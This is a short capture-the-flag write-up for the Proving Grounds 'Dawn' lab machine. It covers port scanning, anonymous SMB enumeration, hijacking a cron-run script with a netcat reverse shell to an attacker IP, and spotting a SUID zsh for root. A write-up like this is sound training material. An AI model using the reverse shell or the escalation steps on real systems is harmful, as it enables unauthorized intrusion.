Security Analyst | Security Researcher | CRTP

Proving grounds Play: Dawn

Proving grounds Play - Dawn CTF writeup.

Nmap

PORT     STATE SERVICE     VERSION
80/tcp   open  http        Apache httpd 2.4.38 ((Debian))
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3306/tcp open  mysql       MySQL 5.5.5-10.3.15-MariaDB-1

Web PORT: 80

Directory Fuzzing

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Logs

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SMB Enumeration

smbclient -L //192.168.175.11/ -N

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As per the management.log file there is a cron job running on ITDEPT folder, and in SMB we have access to the ITDEPT folder.

2020/08/12 09:03:02 [31;1mCMD: UID=1000 PID=939    | /bin/sh -c /home/dawn/ITDEPT/product-control [0m

Create file named product-control add a reverse shell code to the file and upload it in the SMB server.

#!/bin/bash
nc -c bash 192.168.45.223 1234

So when the cronjob runs the script we will get the reverse shell.

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Wait for few seconds for the cron job to run.

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Initial Foothold Obtained

Privilege Escalation

Check the user permissions sudo -l the user Dawn has permission to run /usr/bin/msql without password. But unfortunately it didn’t work.

SUIDs

dawn@dawn:~$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/sbin/mount.cifs
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/su
/usr/bin/newgrp
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/sudo
/usr/bin/mount
/usr/bin/zsh #Odd to be here
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/fusermount
/usr/bin/umount
/usr/bin/chfn

The SUID zsh is exploitable, direct to GTFO bins and find the exploit.

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Root Obtained

Thanks for reading!

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